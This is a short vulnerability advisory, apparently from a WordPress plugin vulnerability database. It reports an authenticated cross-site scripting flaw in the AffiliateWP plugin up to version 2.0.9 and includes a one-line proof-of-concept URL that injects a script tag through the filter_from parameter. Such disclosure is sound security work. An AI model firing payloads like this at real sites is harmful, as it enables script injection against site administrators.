WordPress Plugin Vulnerabilities
AffiliateWP <= 2.0.9 - Authenticated Cross-Site Scripting (XSS)
Description
The AffiliateWP WordPress plugin was affected by an Authenticated Cross-Site Scripting (XSS) security vulnerability.
Proof of Concept
http://vulnerablesite.com//wp-admin/admin.php?page=affiliate-wp-referrals&filter_from=%27%3C%2Fscript%3E%3Cscript%3Ealert%2842%29%3C%2Fscript%3E
Affects Plugins
Fixed in version 2.0.9.1
References
Classification
Miscellaneous
Submitter
Neven Biruski
Submitter website
Submitter twitter
Verified
No
Timeline
Publicly Published
2017-05-24 (about 5 years ago)
Added
2017-05-26 (about 5 years ago)
Last Updated
2019-11-01 (about 2 years ago)